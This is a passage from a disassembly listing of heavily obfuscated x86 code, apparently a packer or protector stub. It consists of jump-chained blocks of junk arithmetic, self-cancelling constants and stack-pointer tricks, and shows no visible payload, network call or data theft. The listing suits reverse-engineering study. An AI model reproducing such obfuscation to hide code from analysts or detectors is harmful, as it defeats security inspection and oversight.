		add	esp, 4
		jmp	loc_58D775
; ---------------------------------------------------------------------------


loc_58FC17:				; CODE XREF: .XComp0:0058B70Ej
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		push	edx
		add	dword ptr [esp], 3368446Dh
		pop	ebx
		sub	ebx, 3368446Dh
		jmp	loc_58584D
; ---------------------------------------------------------------------------


loc_58FC30:				; CODE XREF: .XComp0:0059493Aj
		add	ecx, edi
		pop	edi
		jmp	loc_58590E
; ---------------------------------------------------------------------------


loc_58FC38:				; CODE XREF: .XComp0:0058F90Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58E677
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_5929DF
; ---------------------------------------------------------------------------


loc_58FC7A:				; CODE XREF: .XComp0:005981E5j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FC7F:				; CODE XREF: .XComp0:005863C4j
		and	ebp, 48590B90h
		shr	ebp, 6
		dec	ebp
		sub	ebp, 0C0140FCAh
		push	eax
		mov	eax, 347E1E2Dh
		and	ebp, eax
		pop	eax
		xor	ebp, 0B4D8FC3Eh
		add	edx, ebp
		pop	ebp
		jmp	loc_591804
; ---------------------------------------------------------------------------


loc_58FCA6:				; CODE XREF: .XComp0:00597984j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58595A
; ---------------------------------------------------------------------------


loc_58FCB1:				; CODE XREF: .XComp0:00598B97j
		add	ebp, 0FFF7EC00h
		push	148Dh
		mov	[esp], ebp
		sub	dword ptr [esp], 2C2B2FFDh
		pop	edx
		add	edx, 2C2B2FFDh
		jmp	loc_5926F1
; ---------------------------------------------------------------------------


loc_58FCD2:				; CODE XREF: .XComp0:00591E8Ej
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6EC6h
		mov	[esp], ecx
		jmp	loc_58A935
; ---------------------------------------------------------------------------


loc_58FCEB:				; CODE XREF: .XComp0:00589387j
		xor	eax, [esp]
		jmp	loc_591B93
; ---------------------------------------------------------------------------


loc_58FCF3:				; CODE XREF: .XComp0:0058F091j
		mov	[esp], esi
		jmp	loc_598E1E
; ---------------------------------------------------------------------------


loc_58FCFB:				; CODE XREF: .XComp0:00592F2Ej
		pop	ecx
		pop	edi
		push	eax
		mov	eax, 48223389h
		neg	eax
		add	eax, 4822338Dh
		add	edi, eax
		jmp	loc_5855A9
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_587F5B
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 60D658DBh
		xchg	ecx, edi
		jmp	loc_5908B7
; ---------------------------------------------------------------------------


loc_58FD3A:				; CODE XREF: .XComp0:00587F13j
		pop	ebx
		mov	eax, ebp
		jmp	loc_5848F3
; ---------------------------------------------------------------------------


loc_58FD42:				; CODE XREF: .XComp0:005944C4j
		push	eax
		jmp	loc_58C511
; ---------------------------------------------------------------------------


loc_58FD48:				; CODE XREF: .XComp0:005950B4j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	4EEEh
		mov	[esp], ecx
		mov	ecx, 2719734Eh
		jmp	loc_590FA3
; ---------------------------------------------------------------------------


loc_58FD67:				; CODE XREF: .XComp0:0058449Aj
		push	1F6D363Ch
		pop	ebp
		jmp	loc_58DE02
; ---------------------------------------------------------------------------


loc_58FD72:				; CODE XREF: .XComp0:0058CB16j
		push	edi
		mov	edi, esp
		jmp	loc_585502
; ---------------------------------------------------------------------------


loc_58FD7A:				; CODE XREF: .XComp0:0058582Fj
		push	esi
		push	2704h
		mov	[esp], edx
		mov	edx, 2A222Eh
		mov	esi, 0FFD5DDD6h
		add	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_596E86
; ---------------------------------------------------------------------------


loc_58FDB6:				; CODE XREF: .XComp0:005964F9j
		push	ebp
		xor	dword ptr [esp], 3A11CD3h
		pop	edi
		jmp	loc_585E10
; ---------------------------------------------------------------------------


loc_58FDC4:				; CODE XREF: .XComp0:005891F7j
		push	ebp
		mov	ebp, 31A1484Ch
		shr	ebp, 6
		not	ebp
		jmp	loc_597682
; ---------------------------------------------------------------------------


loc_58FDD4:				; CODE XREF: .XComp0:00587643j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_597548
; ---------------------------------------------------------------------------


loc_58FDDF:				; CODE XREF: .XComp0:005920CCj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_583B37
; ---------------------------------------------------------------------------


loc_58FDEB:				; CODE XREF: .XComp0:00592582j
		sub	esp, 4
		jmp	loc_58B398
; ---------------------------------------------------------------------------


loc_58FDF3:				; CODE XREF: .XComp0:00593B7Fj
		push	esp
		pop	dword ptr [esp]
		push	264h
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		push	dword ptr [esp]
		jmp	loc_590F32
; ---------------------------------------------------------------------------


loc_58FE10:				; CODE XREF: .XComp0:005848D6j
		mov	cl, 9Ch
		sub	esp, 2
		jmp	loc_589874
; ---------------------------------------------------------------------------


loc_58FE1A:				; CODE XREF: .XComp0:0058AF2Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E26B
; ---------------------------------------------------------------------------


loc_58FE25:				; CODE XREF: .XComp0:005976ECj
		mov	eax, 0A0A4D78h
		add	eax, 0F5F5B28Ch
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58F641
; ---------------------------------------------------------------------------


loc_58FE3C:				; CODE XREF: .XComp0:0058FB39j
		sub	cl, 31h
		sub	bl, cl
		pop	ecx
		sub	al, bl
		pop	ebx
		push	small 3F27h
		mov	[esp], cx
		push	4455h
		mov	[esp], edx
		mov	dh, 0CEh
		push	ebx
		jmp	loc_585545
; ---------------------------------------------------------------------------


loc_58FE5D:				; CODE XREF: .XComp0:00590BE2j
		sub	esi, ebx
		pop	ebx
		jmp	loc_594EFD
; ---------------------------------------------------------------------------


loc_58FE65:				; CODE XREF: .XComp0:00598B07j
		pop	esp
		mov	bp, si
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59870A
; ---------------------------------------------------------------------------


loc_58FE77:				; CODE XREF: .XComp0:00596EF9j
		or	ecx, 35183901h
		jmp	loc_58C44C
; ---------------------------------------------------------------------------


loc_58FE82:				; CODE XREF: .XComp0:0059892Dj
		mov	edx, 5F4C1704h
		add	dword ptr [esp+8], 7FDF121Dh
		sub	[esp+8], edx
		jmp	loc_58CE21
; ---------------------------------------------------------------------------


loc_58FE98:				; CODE XREF: .XComp0:00589A77j
		push	esi
		push	5B80h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, 787C7747h
		add	esi, edi
		sub	esi, 787C7747h
		pop	edi
		push	2969h
		mov	[esp], ecx
		push	473h
		mov	[esp], edx
		jmp	loc_58CF4C
; ---------------------------------------------------------------------------


loc_58FED3:				; CODE XREF: .XComp0:005842B3j
		mov	ebp, 5EC97638h
		jmp	loc_5942EC
; ---------------------------------------------------------------------------


loc_58FEDD:				; CODE XREF: .XComp0:00590570j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FEE7:				; CODE XREF: .XComp0:00590ADEj
		push	edi
		mov	edi, 0AC1593Eh
		xor	edi, 69813212h
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58C6A2
; ---------------------------------------------------------------------------


loc_58FF00:				; CODE XREF: .XComp0:00591696j
		add	ebx, esi
		jmp	loc_58E651
; ---------------------------------------------------------------------------


loc_58FF07:				; CODE XREF: .XComp0:00598BFEj
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		jmp	loc_587FF7
; ---------------------------------------------------------------------------


loc_58FF27:				; CODE XREF: .XComp0:0058C888j
		sub	edi, ecx
		add	edi, 20B97CF2h
		pop	ecx
		add	edi, 564A3A2Fh
		add	edi, 0A688910Eh
		sub	ecx, edi
		jmp	loc_59371C
; ---------------------------------------------------------------------------


loc_58FF43:				; CODE XREF: .XComp0:00595031j
		neg	ebp
		push	edx
		mov	edx, 483514C4h
		sub	ebp, edx
		pop	edx
		sub	ebp, 5588B095h
		sub	ebx, ebp
		jmp	loc_584F36
; ---------------------------------------------------------------------------


loc_58FF5B:				; CODE XREF: .XComp0:00590410j
		sub	ebx, 5FA75D01h
		sub	ebx, esi
		push	esi
		mov	esi, 5FA75D01h
		add	ebx, esi
		jmp	loc_590DC0
; ---------------------------------------------------------------------------


loc_58FF70:				; CODE XREF: .XComp0:00590426j
		and	eax, 12D7382Fh
		neg	eax
		shl	eax, 1
		add	eax, 408DCF8Bh
		add	ebx, eax
		pop	eax
		add	ebx, 610514CFh
		add	ebx, eax
		sub	ebx, 610514CFh
		push	edx
		push	eax
		mov	eax, 54DB4BB2h
		and	eax, 36C27B95h
		sub	eax, 66017452h
		xor	eax, 544B4933h
		add	eax, 44D3D122h
		mov	edx, eax
		jmp	loc_589E87
; ---------------------------------------------------------------------------


loc_58FFB1:				; CODE XREF: .XComp0:00595C29j
		mov	ecx, 33E806E0h
		neg	ecx
		jmp	loc_591463
; ---------------------------------------------------------------------------


loc_58FFBD:				; CODE XREF: .XComp0:00584411j
		xor	ebx, 61434188h
		inc	ebx
		sub	ebx, 7D1D811Fh
		add	edi, ebx
		jmp	loc_58EA16
; ---------------------------------------------------------------------------


loc_58FFD1:				; CODE XREF: .XComp0:005878FEj
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_584765
		push	dword ptr [edi+28h]
		push	522Eh
		mov	[esp], eax
		push	245D626Fh
		mov	eax, [esp]
		add	esp, 4
		xor	[esp+4], eax
		jmp	loc_59456A
; ---------------------------------------------------------------------------


loc_590009:				; CODE XREF: .XComp0:005909DCj
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4E0D755Ah
		sub	ebp, 683A7512h
		jmp	loc_585EF3
; ---------------------------------------------------------------------------


loc_59002D:				; CODE XREF: .XComp0:005866FDj
		pop	ecx
		sub	edi, 4
		push	3C5h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_58BC32
; ---------------------------------------------------------------------------


loc_590046:				; CODE XREF: .XComp0:00596538j
		add	eax, 1AD86B55h
		add	[eax], ecx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4


loc_590057:				; CODE XREF: .XComp0:00590A6Ej
		push	esi
		push	esp
		jmp	loc_59131D
; ---------------------------------------------------------------------------


loc_59005E:				; CODE XREF: .XComp0:00592633j
		sub	esi, 41614D8Eh
		add	esi, 4F6C70EEh
		add	esi, edx
		jmp	loc_585B4C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_58B936
; ---------------------------------------------------------------------------


loc_59007B:				; CODE XREF: .XComp0:00591E99j
		add	edi, 172140C1h
		add	edx, edi
		jmp	loc_5900A4
; ---------------------------------------------------------------------------


loc_590088:				; CODE XREF: .XComp0:00588FCEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_589E40
; ---------------------------------------------------------------------------


loc_59009A:				; CODE XREF: .XComp0:005970B4j
		sub	edx, eax
		pop	eax
		add	eax, edx
		jmp	loc_595A2C
; ---------------------------------------------------------------------------


loc_5900A4:				; CODE XREF: .XComp0:00590083j
		pop	edi
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	5D35h
		mov	[esp], ecx
		push	6BD2h
		jmp	loc_595BDE
; ---------------------------------------------------------------------------


loc_5900C2:				; CODE XREF: .XComp0:00589300j
		push	esp
		pop	edx
		jmp	loc_590DF7
; ---------------------------------------------------------------------------


loc_5900C9:				; CODE XREF: .XComp0:00590916j
		mov	[esp], eax
		jmp	loc_592025
; ---------------------------------------------------------------------------


loc_5900D1:				; CODE XREF: .XComp0:0058AF4Aj
		add	ch, 99h
		push	eax
		mov	ah, 50h
		jmp	loc_5891C3
; ---------------------------------------------------------------------------


loc_5900DC:				; CODE XREF: .XComp0:0058C998j
		mov	ebp, 4D48736Ah
		push	464Fh
		jmp	loc_595248
; ---------------------------------------------------------------------------


loc_5900EB:				; CODE XREF: .XComp0:0058C665j
		push	379C1C2Ch
		pop	esi
		jmp	loc_5906D9
; ---------------------------------------------------------------------------


loc_5900F6:				; CODE XREF: .XComp0:0058D73Bj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ecx
		mov	cl, 0F3h
		mov	bh, cl
		jmp	loc_58A799
; ---------------------------------------------------------------------------


loc_59010A:				; CODE XREF: .XComp0:0058900Bj
		mov	edi, 4
		jmp	loc_592E60
; ---------------------------------------------------------------------------


loc_590114:				; CODE XREF: .XComp0:0059814Dj
		push	dword ptr [esp]
		jmp	loc_591647
; ---------------------------------------------------------------------------


loc_59011C:				; CODE XREF: .XComp0:0058D93Ej
		push	ebx
		jmp	loc_592688
; ---------------------------------------------------------------------------


loc_590122:				; CODE XREF: .XComp0:0058A213j
		shr	esi, 6
		shr	esi, 6
		xor	esi, 478DAh
		mov	eax, esi
		pop	esi
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_5907BE
; ---------------------------------------------------------------------------


loc_59014C:				; CODE XREF: .XComp0:00593585j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_587A19
; ---------------------------------------------------------------------------


loc_590158:				; CODE XREF: .XComp0:005890E5j
		pop	edx
		pop	ecx
		xor	[esp+4], edx
		jmp	loc_59241B
; ---------------------------------------------------------------------------


loc_590163:				; CODE XREF: .XComp0:00587A33j
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 76AB0B0Ch
		neg	edi
		sub	edi, 1F6B50DAh
		inc	edi
		add	edi, 96165BE9h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_592FF1
; ---------------------------------------------------------------------------


loc_59018B:				; CODE XREF: .XComp0:005968DCj
		pop	esp
		dec	eax
		push	2946h
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 45FE1B9Bh
		sub	edx, eax
		pop	eax
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3D83501Dh
		sub	ebx, eax
		pop	eax
		add	ebx, 2B992908h
		add	ebx, eax
		sub	ebx, 2B992908h
		add	ebx, 3D83501Dh
		push	ecx
		pop	dword ptr [ebx]
		jmp	loc_5889E5
; ---------------------------------------------------------------------------


loc_5901D1:				; CODE XREF: .XComp0:00589861j
		mov	edx, 14F61922h
		shl	edx, 4
		inc	edx
		jmp	loc_596083
; ---------------------------------------------------------------------------


loc_5901DF:				; CODE XREF: .XComp0:0058DD06j
		push	eax
		jmp	loc_5877D2
; ---------------------------------------------------------------------------


loc_5901E5:				; CODE XREF: .XComp0:00596589j
		push	eax
		jmp	loc_586B7B
; ---------------------------------------------------------------------------


loc_5901EB:				; CODE XREF: .XComp0:00598B3Fj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5901F7:				; CODE XREF: .XComp0:0058C8F6j
		push	ebx
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_5943A4
; ---------------------------------------------------------------------------


loc_590205:				; CODE XREF: .XComp0:005978EFj
		pop	ebx
		push	3023h
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 7D5003A7h
		add	eax, 82AFFC5Bh
		push	eax
		mov	eax, 77115B22h
		or	eax, 9871FDBh
		jmp	loc_590421
; ---------------------------------------------------------------------------


loc_590231:				; CODE XREF: .XComp0:0058C11Cj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590236:				; CODE XREF: .XComp0:0058A53Ej
		pop	ecx
		sub	ebp, 5F3852AAh
		sub	ebp, 4E56022Ah
		add	ebp, eax
		add	ebp, 4E56022Ah
		push	edx
		mov	edx, 36132902h
		sub	edx, 7D0747C7h
		inc	edx
		add	edx, 0A62C716Eh
		add	ebp, edx
		pop	edx
		mov	eax, [esp]
		jmp	loc_58568B
; ---------------------------------------------------------------------------


loc_590269:				; CODE XREF: .XComp0:00595D50j
		mov	edx, 40C15F51h
		or	edx, 1ABC6B27h
		jmp	loc_58D12E
; ---------------------------------------------------------------------------


loc_590279:				; CODE XREF: .XComp0:00589EB0j
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_58ABBB
; ---------------------------------------------------------------------------


loc_590283:				; CODE XREF: .XComp0:00584DE6j
		mov	[esp], ebp
		jmp	loc_594DFC
; ---------------------------------------------------------------------------


loc_59028B:				; CODE XREF: .XComp0:005933BCj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		push	3CECh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_58F41F
; ---------------------------------------------------------------------------


loc_5902BD:				; CODE XREF: .XComp0:0058676Cj
		sub	ebx, 4E06B01Eh
		jmp	loc_58B6B5
; ---------------------------------------------------------------------------


loc_5902C8:				; CODE XREF: .XComp0:00585F45j
		mov	eax, 4
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58E5DB
; ---------------------------------------------------------------------------


loc_5902DB:				; CODE XREF: .XComp0:005896D2j
		mov	ecx, 0BF34DE27h
		xor	edx, ecx
		jmp	loc_58412C
; ---------------------------------------------------------------------------


loc_5902E7:				; CODE XREF: .XComp0:00588A83j
		mov	[esp], edx
		jmp	loc_588429
; ---------------------------------------------------------------------------


loc_5902EF:				; CODE XREF: .XComp0:00594565j
		mov	eax, 5F325BE2h
		not	eax
		jmp	loc_595FFE
; ---------------------------------------------------------------------------


loc_5902FB:				; CODE XREF: .XComp0:00586474j
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58519F
; ---------------------------------------------------------------------------


loc_59030A:				; CODE XREF: .XComp0:005881EFj
		push	ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_590312:				; CODE XREF: .XComp0:005985F7j
		push	ecx
		jmp	loc_58E39D
; ---------------------------------------------------------------------------


loc_590318:				; CODE XREF: .XComp0:00597E93j
		xor	ecx, ebp
		pop	ebp
		inc	ecx
		not	ecx
		add	ecx, 72692237h
		xor	eax, ecx
		pop	ecx
		xor	ebx, eax
		pop	eax
		sub	ebx, 0F851750Eh
		push	7853h
		mov	[esp], ebx
		mov	esi, [esp]
		jmp	loc_590FDA
; ---------------------------------------------------------------------------


loc_590340:				; CODE XREF: .XComp0:00596F31j
		mov	bl, dl
		jmp	loc_5891B0
; ---------------------------------------------------------------------------


loc_590347:				; CODE XREF: .XComp0:0058D21Aj
		pop	edx
		jmp	loc_58786E
; ---------------------------------------------------------------------------


loc_59034D:				; CODE XREF: .XComp0:00594781j
		xchg	ebx, [esp]
		pop	esp
		push	70E1h
		jmp	loc_58F54D
; ---------------------------------------------------------------------------


loc_59035B:				; CODE XREF: .XComp0:00591C18j
		sub	ecx, 16096312h
		jmp	loc_588455
; ---------------------------------------------------------------------------


loc_590366:				; CODE XREF: .XComp0:0058E6AFj
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		sub	eax, 5FCA5C12h
		sub	eax, ecx
		add	eax, 5FCA5C12h
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_58499F
; ---------------------------------------------------------------------------


loc_59038A:				; CODE XREF: .XComp0:00585389j
		pop	edx
		sub	[edi+24h], esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_585375
; ---------------------------------------------------------------------------


loc_5903A9:				; CODE XREF: .XComp0:00596FFCj
		push	33D5h
		jmp	loc_58BBD2
; ---------------------------------------------------------------------------


loc_5903B3:				; CODE XREF: .XComp0:0058A55Dj
		add	ebx, 21674738h
		add	ebx, 3DD6936h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_588A9A
; ---------------------------------------------------------------------------


loc_5903DD:				; CODE XREF: .XComp0:0058C9B1j
		mov	esi, 4
		push	eax
		mov	eax, 31AE7B0Dh
		add	ecx, eax
		pop	eax
		push	edx
		jmp	loc_597178
; ---------------------------------------------------------------------------


loc_5903F1:				; CODE XREF: .XComp0:00595870j
		mov	[esp], edi
		mov	edi, 34C5488Eh
		dec	edi
		or	edi, 736C4A5Ch
		dec	edi
		add	edi, 0C116C11Ch
		xor	ebx, edi
		pop	edi
		push	esi
		mov	esi, 0E4A610C5h
		jmp	loc_58FF5B
; ---------------------------------------------------------------------------


loc_590415:				; CODE XREF: .XComp0:0058FBDFj
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5896BC
; ---------------------------------------------------------------------------


loc_590421:				; CODE XREF: .XComp0:0059022Cj
		add	eax, 5001133h
		jmp	loc_58FF70
; ---------------------------------------------------------------------------


loc_59042B:				; CODE XREF: .XComp0:0059773Aj
		sub	esp, 4
		jmp	loc_58CB27
; ---------------------------------------------------------------------------


loc_590433:				; CODE XREF: .XComp0:00594CE2j
		add	esp, 4
		dec	eax
		add	eax, 4800420Ch
		or	[edi+1Ch], eax
		jmp	loc_594F08
; ---------------------------------------------------------------------------


loc_590444:				; CODE XREF: .XComp0:0058522Bj
		mov	ebp, 5F0C10F6h
		shr	ebp, 8
		push	ebp
		jmp	loc_58A726
; ---------------------------------------------------------------------------


loc_590452:				; CODE XREF: .XComp0:0058670Dj
		xor	edx, 673AFF16h
		jmp	loc_589CC6
; ---------------------------------------------------------------------------


loc_59045D:				; CODE XREF: .XComp0:0058B323j
		mov	edx, 41720656h
		jmp	loc_58819E
; ---------------------------------------------------------------------------


loc_590467:				; CODE XREF: .XComp0:0058F201j
		push	edx
		mov	edx, 0DC763AFh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 0F206622h
		sub	ebp, 0B2E22AAh
		add	ebp, edx
		add	ebp, 0B2E22AAh
		push	edx
		mov	edx, 64DB4882h
		dec	edx
		dec	edx
		shr	edx, 1
		neg	edx
		dec	edx
		xor	edx, 0C6357849h
		xor	edx, 48745D4h
		sub	ebp, edx
		pop	edx
		sub	ebp, 0DC763AFh
		sub	ebp, 492A6E0Eh
		pop	edx
		jmp	loc_59187D
; ---------------------------------------------------------------------------


loc_5904BA:				; CODE XREF: .XComp0:0058A6FFj
		push	ecx
		jmp	loc_596B45
; ---------------------------------------------------------------------------


loc_5904C0:				; CODE XREF: .XComp0:0058B8C4j
		mov	dl, 0D6h
		mov	ah, 0D4h
		add	ah, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_598204
; ---------------------------------------------------------------------------


loc_5904D1:				; CODE XREF: .XComp0:00597EA6j
		push	67BA5669h
		pop	ebp
		xor	ebp, 64472580h
		xor	ebp, 55FC7284h
		mov	edi, ebp
		pop	ebp
		jmp	loc_595651
; ---------------------------------------------------------------------------


loc_5904EB:				; CODE XREF: .XComp0:0058A42Ej
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 42h
		jmp	loc_586FF8
; ---------------------------------------------------------------------------


loc_5904FB:				; CODE XREF: .XComp0:00589BD2j
		shr	esi, 5
		push	ecx
		mov	ecx, 266706D4h
		add	ecx, 40EF741Ch
		xor	esi, ecx
		pop	ecx
		xor	esi, 1135B798h
		add	eax, 27A376B6h
		add	eax, esi
		sub	eax, 27A376B6h
		mov	esi, [esp]
		jmp	loc_58B11A
; ---------------------------------------------------------------------------


loc_590527:				; CODE XREF: .XComp0:0058654Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58AFD7
; ---------------------------------------------------------------------------


loc_590548:				; CODE XREF: .XComp0:00595712j
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_597989
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5918AE
; ---------------------------------------------------------------------------


loc_59056B:				; CODE XREF: .XComp0:0058B0A2j
		push	296Eh
		jmp	loc_58FEDD
; ---------------------------------------------------------------------------


loc_590575:				; CODE XREF: .XComp0:00593599j
		push	esi
		jmp	loc_58B380
; ---------------------------------------------------------------------------


loc_59057B:				; CODE XREF: .XComp0:0058CD23j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	115Ah
		jmp	loc_5948BE
; ---------------------------------------------------------------------------


loc_5905AA:				; CODE XREF: .XComp0:00584C7Ej
		add	esp, 4
		xor	ebp, 1F1B5FDEh
		jmp	loc_58E7BE
; ---------------------------------------------------------------------------


loc_5905BB:				; CODE XREF: .XComp0:0059865Dj
		xchg	ecx, [esp]
		jmp	loc_591F3A
; ---------------------------------------------------------------------------


loc_5905C3:				; CODE XREF: .XComp0:005954EBj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	2FC7h
		mov	[esp], ebp
		jmp	loc_58EECF
; ---------------------------------------------------------------------------


loc_5905D6:				; CODE XREF: .XComp0:0058D5B1j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_590F1F
; ---------------------------------------------------------------------------


loc_5905E9:				; CODE XREF: .XComp0:00585A63j
		pop	ebx
		dec	esi
		shr	esi, 8
		push	eax
		mov	eax, 38413834h
		jmp	loc_58D01B
; ---------------------------------------------------------------------------


loc_5905F9:				; CODE XREF: .XComp0:005943E7j
		add	ebp, ebx
		jmp	loc_58E396
; ---------------------------------------------------------------------------


loc_590600:				; CODE XREF: .XComp0:0058D464j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 93B207Fh
		sub	edi, 4C177152h
		inc	edi
		shr	edi, 8
		not	edi
		or	edi, 40583B7Ah
		add	edi, 0A5008Ah
		add	eax, edi
		jmp	loc_5919C5
; ---------------------------------------------------------------------------


loc_59063C:				; CODE XREF: .XComp0:0058D650j
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 0C416351h
		not	edx
		not	edx
		jmp	loc_5895B0
; ---------------------------------------------------------------------------


loc_59065D:				; CODE XREF: .XComp0:005861ECj
		pop	esp
		mov	[esp], ecx
		jmp	loc_58A1B8
; ---------------------------------------------------------------------------


loc_590666:				; CODE XREF: .XComp0:0058DA0Cj
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		jmp	loc_589D35
; ---------------------------------------------------------------------------


loc_590671:				; CODE XREF: .XComp0:0058CA30j
		mov	eax, ebx
		sub	esp, 4
		jmp	loc_58E73B
; ---------------------------------------------------------------------------


loc_59067E:				; CODE XREF: .XComp0:0058601Dj
		not	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_584351
; ---------------------------------------------------------------------------


loc_59069B:				; CODE XREF: .XComp0:0058DEC2j
		add	eax, 4
		jmp	loc_58C736
; ---------------------------------------------------------------------------


loc_5906A5:				; CODE XREF: .XComp0:00594C03j
		shr	esi, 1
		jmp	loc_58C581
; ---------------------------------------------------------------------------


loc_5906AC:				; CODE XREF: .XComp0:005957C0j
		push	5EE7h
		jmp	loc_595082
; ---------------------------------------------------------------------------


loc_5906B6:				; CODE XREF: .XComp0:00593367j
		add	esi, 5DA65AC1h
		pop	ecx
		sub	esi, 412C102Bh
		jmp	loc_58A13E
; ---------------------------------------------------------------------------


loc_5906C8:				; CODE XREF: .XComp0:0058B90Aj
		mov	esp, [esp]
		jmp	loc_59497A
; ---------------------------------------------------------------------------


loc_5906D0:				; CODE XREF: .XComp0:00589BE9j
